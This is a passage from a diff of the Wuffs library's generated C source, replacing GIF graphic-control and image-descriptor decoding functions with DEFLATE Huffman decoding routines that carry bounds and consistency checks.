0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ v_bits = self->private_impl.f_bits; ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint32_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } ++ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); ++ label__loop__continue:; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 12u)) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ } else { + } +- if (v_c != 4u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ } else { ++ } ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); + goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ } else { + } +- uint8_t t_1 = *iop_a_src++; +- v_flags = t_1; ++ v_length = (((v_length + 253u + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } else { + } +- self->private_impl.f_gc_has_transparent_index = ((v_flags & 1u) != 0u); +- v_flags = ((v_flags >> 2u) & 7u); +- if (v_flags == 2u) { +- self->private_impl.f_gc_disposal = 1u; +- } else if ((v_flags == 3u) || (v_flags == 4u)) { +- self->private_impl.f_gc_disposal = 2u; ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; + } else { +- self->private_impl.f_gc_disposal = 0u; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint16_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = wuffs_base__peek_u16le__no_bounds_check(iop_a_src); +- iop_a_src += 2; ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 28u) == 1u) { ++ if (v_n_bits < 15u) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; + } else { +- self->private_data.s_decode_gc[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_gc[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 8) { +- t_2 = ((uint16_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } + } +- v_gc_duration_centiseconds = t_2; ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (v_bits & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } else { + } +- self->private_impl.f_gc_duration = (((uint64_t)(v_gc_duration_centiseconds)) * 7056000u); +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } +- uint8_t t_3 = *iop_a_src++; +- self->private_impl.f_gc_transparent_index = t_3; ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint8_t t_4 = *iop_a_src++; +- v_c = t_4; ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_n_bits < v_table_entry_n_bits) { ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; ++ v_bits |= (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) << v_n_bits); ++ iop_a_src += 1u; ++ v_n_bits += 8u; + } +- if (v_c != 0u) { +- status = wuffs_base__make_status(wuffs_gif__error__bad_graphic_control); ++ v_dist_minus_1 = ((v_dist_minus_1 + ((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(v_table_entry_n_bits))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ do { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hlen = 0u; ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_length > v_hdist) { ++ v_length -= v_hdist; ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ v_length = 0u; ++ } ++ v_hdist += v_hdist_adjustment; ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_length == 0u) { ++ goto label__loop__continue; ++ } ++ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ goto exit; ++ } ++ } ++ if ((v_dist_minus_1 + 1u) >= 8u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } ++ } while (0); ++ } ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); + goto exit; + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_gc[0] = 0; ++ } ++ self->private_impl.f_bits = (v_bits & ((((uint32_t)(1u)) << v_n_bits) - 1u)); ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_gc[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -38609,15 +40069,52 @@ wuffs_gif__decoder__decode_gc( + return status; + } + +-// -------- func gif.decoder.decode_id_part0 ++// -------- func deflate.decoder.decode_huffman_fast64 + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_id_part0( +- wuffs_gif__decoder* self, ++wuffs_deflate__decoder__decode_huffman_fast64( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ return (*self->private_impl.choosy_decode_huffman_fast64)(self, a_dst, a_src); ++} ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + ++ uint64_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint64_t v_lmask = 0; ++ uint64_t v_dmask = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_length = 0; ++ uint32_t v_dist_minus_1 = 0; ++ uint32_t v_hlen = 0; ++ uint32_t v_hdist = 0; ++ uint32_t v_hdist_adjustment = 0; ++ ++ uint8_t* iop_a_dst = NULL; ++ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_dst && a_dst->data.ptr) { ++ io0_a_dst = a_dst->data.ptr; ++ io1_a_dst = io0_a_dst + a_dst->meta.wi; ++ iop_a_dst = io1_a_dst; ++ io2_a_dst = io0_a_dst + a_dst->data.len; ++ if (a_dst->meta.closed) { ++ io2_a_dst = iop_a_dst; ++ } ++ } + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; + const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -38629,147 +40126,160 @@ wuffs_gif__decoder__decode_id_part0( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_id_part0[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; +- +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- uint32_t t_0; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_0 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> (self->private_impl.f_n_bits & 7u)) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ v_bits = ((uint64_t)(self->private_impl.f_bits)); ++ v_n_bits = self->private_impl.f_n_bits; ++ v_lmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[0u]) - 1u); ++ v_dmask = ((((uint64_t)(1u)) << self->private_impl.f_n_huffs_bits[1u]) - 1u); ++ if (self->private_impl.f_transformed_history_count < (a_dst ? a_dst->meta.pos : 0u)) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_i_o_position); ++ goto exit; ++ } ++ v_hdist_adjustment = ((uint32_t)((self->private_impl.f_transformed_history_count - (a_dst ? a_dst->meta.pos : 0u)))); ++ label__loop__continue:; ++ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 266u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 8u)) { ++ v_bits |= ((uint64_t)(wuffs_base__peek_u64le__no_bounds_check(iop_a_src) << (v_n_bits & 63u))); ++ iop_a_src += ((63u - (v_n_bits & 63u)) >> 3u); ++ v_n_bits |= 56u; ++ v_table_entry = self->private_data.f_huffs[0u][(v_bits & v_lmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[0u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 31u) != 0u) { ++ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, ((uint8_t)((v_table_entry >> 8u)))), iop_a_dst += 1); ++ continue; ++ } else if ((v_table_entry >> 30u) != 0u) { ++ } else if ((v_table_entry >> 29u) != 0u) { ++ self->private_impl.f_end_of_block = true; ++ break; ++ } else if ((v_table_entry >> 28u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; +- if (num_bits_0 == 8) { +- t_0 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_0 += 8u; +- *scratch |= ((uint64_t)(num_bits_0)) << 56; +- } ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- self->private_impl.f_frame_rect_x0 = t_0; ++ } else if ((v_table_entry >> 27u) != 0u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- uint32_t t_1; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_1 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; +- if (num_bits_1 == 8) { +- t_1 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_1 += 8u; +- *scratch |= ((uint64_t)(num_bits_1)) << 56; +- } +- } +- self->private_impl.f_frame_rect_y0 = t_1; ++ v_length = (((v_table_entry >> 8u) & 255u) + 3u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ if (v_table_entry_n_bits > 0u) { ++ v_length = (((v_length + 253u + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 255u) + 3u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; + } +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(5); +- uint32_t t_2; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_2 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_2 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_2; +- if (num_bits_2 == 8) { +- t_2 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_2 += 8u; +- *scratch |= ((uint64_t)(num_bits_2)) << 56; +- } ++ v_table_entry = self->private_data.f_huffs[1u][(v_bits & v_dmask)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ if ((v_table_entry >> 28u) == 1u) { ++ v_redir_top = ((v_table_entry >> 8u) & 65535u); ++ v_redir_mask = ((((uint32_t)(1u)) << ((v_table_entry >> 4u) & 15u)) - 1u); ++ v_table_entry = self->private_data.f_huffs[1u][((v_redir_top + (((uint32_t)(v_bits)) & v_redir_mask)) & 1023u)]; ++ v_table_entry_n_bits = (v_table_entry & 15u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ } ++ if ((v_table_entry >> 24u) != 64u) { ++ if ((v_table_entry >> 24u) == 8u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_huffman_code); ++ goto exit; + } +- self->private_impl.f_frame_rect_x1 = t_2; ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_huffman_decoder_state); ++ goto exit; + } +- self->private_impl.f_frame_rect_x1 += self->private_impl.f_frame_rect_x0; +- { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); +- uint32_t t_3; +- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { +- t_3 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); +- iop_a_src += 2; +- } else { +- self->private_data.s_decode_id_part0[0].scratch = 0; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); +- while (true) { +- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- goto suspend; +- } +- uint64_t* scratch = &self->private_data.s_decode_id_part0[0].scratch; +- uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); +- *scratch <<= 8; +- *scratch >>= 8; +- *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; +- if (num_bits_3 == 8) { +- t_3 = ((uint32_t)(*scratch)); +- break; +- } +- num_bits_3 += 8u; +- *scratch |= ((uint64_t)(num_bits_3)) << 56; ++ v_dist_minus_1 = ((v_table_entry >> 8u) & 32767u); ++ v_table_entry_n_bits = ((v_table_entry >> 4u) & 15u); ++ v_dist_minus_1 = ((v_dist_minus_1 + ((uint32_t)(((v_bits) & WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(v_table_entry_n_bits))))) & 32767u); ++ v_bits >>= v_table_entry_n_bits; ++ v_n_bits -= v_table_entry_n_bits; ++ do { ++ if (((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) { ++ v_hlen = 0u; ++ v_hdist = ((uint32_t)((((uint64_t)((v_dist_minus_1 + 1u))) - ((uint64_t)(iop_a_dst - io0_a_dst))))); ++ if (v_length > v_hdist) { ++ v_length -= v_hdist; ++ v_hlen = v_hdist; ++ } else { ++ v_hlen = v_length; ++ v_length = 0u; ++ } ++ v_hdist += v_hdist_adjustment; ++ if (self->private_impl.f_history_index < v_hdist) { ++ status = wuffs_base__make_status(wuffs_deflate__error__bad_distance); ++ goto exit; ++ } ++ wuffs_private_impl__io_writer__limited_copy_u32_from_slice( ++ &iop_a_dst, io2_a_dst,v_hlen, wuffs_base__make_slice_u8_ij(self->private_data.f_history, ((self->private_impl.f_history_index - v_hdist) & 32767u), 33025)); ++ if (v_length == 0u) { ++ goto label__loop__continue; ++ } ++ if ((((uint64_t)((v_dist_minus_1 + 1u))) > ((uint64_t)(iop_a_dst - io0_a_dst))) || (((uint64_t)(v_length)) > ((uint64_t)(io2_a_dst - iop_a_dst))) || (((uint64_t)((v_length + 8u))) > ((uint64_t)(io2_a_dst - iop_a_dst)))) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_distance); ++ goto exit; + } + } +- self->private_impl.f_frame_rect_y1 = t_3; +- } +- self->private_impl.f_frame_rect_y1 += self->private_impl.f_frame_rect_y0; +- self->private_impl.f_dst_x = self->private_impl.f_frame_rect_x0; +- self->private_impl.f_dst_y = self->private_impl.f_frame_rect_y0; +- if ((self->private_impl.f_num_decoded_frame_configs_value == 0u) && ! self->private_impl.f_quirks[4u]) { +- self->private_impl.f_width = wuffs_base__u32__max(self->private_impl.f_width, self->private_impl.f_frame_rect_x1); +- self->private_impl.f_height = wuffs_base__u32__max(self->private_impl.f_height, self->private_impl.f_frame_rect_y1); ++ if ((v_dist_minus_1 + 1u) >= 8u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else if ((v_dist_minus_1 + 1u) == 1u) { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_8_byte_chunks_distance_1_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } else { ++ wuffs_private_impl__io_writer__limited_copy_u32_from_history_fast( ++ &iop_a_dst, io0_a_dst, io2_a_dst, v_length, (v_dist_minus_1 + 1u)); ++ } ++ } while (0); ++ } ++ if (v_n_bits > 63u) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); ++ goto exit; ++ } ++ while (v_n_bits >= 8u) { ++ v_n_bits -= 8u; ++ if (iop_a_src > io1_a_src) { ++ iop_a_src--; ++ } else { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_i_o); ++ goto exit; + } +- +- goto ok; +- ok: +- self->private_impl.p_decode_id_part0[0] = 0; ++ } ++ self->private_impl.f_bits = ((uint32_t)((v_bits & ((((uint64_t)(1u)) << v_n_bits) - 1u)))); ++ self->private_impl.f_n_bits = v_n_bits; ++ if ((self->private_impl.f_n_bits >= 8u) || ((self->private_impl.f_bits >> self->private_impl.f_n_bits) != 0u)) { ++ status = wuffs_base__make_status(wuffs_deflate__error__internal_error_inconsistent_n_bits); + goto exit; + } +- +- goto suspend; +- suspend: +- self->private_impl.p_decode_id_part0[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- + goto exit; + exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); ++ } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +@@ -38777,25 +40287,49 @@ wuffs_gif__decoder__decode_id_part0( + return status; + } + +-// -------- func gif.decoder.decode_id_part1 ++// -------- func deflate.decoder.decode_huffman_slow + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_gif__decoder__decode_id_part1( +- wuffs_gif__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__pixel_blend a_blend) { ++wuffs_deflate__decoder__decode_huffman_slow( ++ wuffs_deflate__decoder* self, ++ wuffs_base__io_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_flags = 0; +- uint8_t v_which_palette = 0; +- uint32_t v_num_palette_entries = 0; +- uint32_t v_i = 0; +- uint32_t v_argb = 0; +- wuffs_base__status v_status = wuffs_base__make_status(NULL); +- uint8_t v_lw = 0; ++ uint32_t v_bits = 0; ++ uint32_t v_n_bits = 0; ++ uint32_t v_table_entry = 0; ++ uint32_t v_table_entry_n_bits = 0; ++ uint32_t v_lmask = 0; ++ uint32_t v_dmask = 0; ++ uint32_t v_b0 = 0; ++ uint32_t v_redir_top = 0; ++ uint32_t v_redir_mask = 0; ++ uint32_t v_b1 = 0; ++ uint32_t v_length = 0; ++ uint32_t v_b2 = 0; ++ uint32_t v_b3 = 0; ++ uint32_t v_b4 = 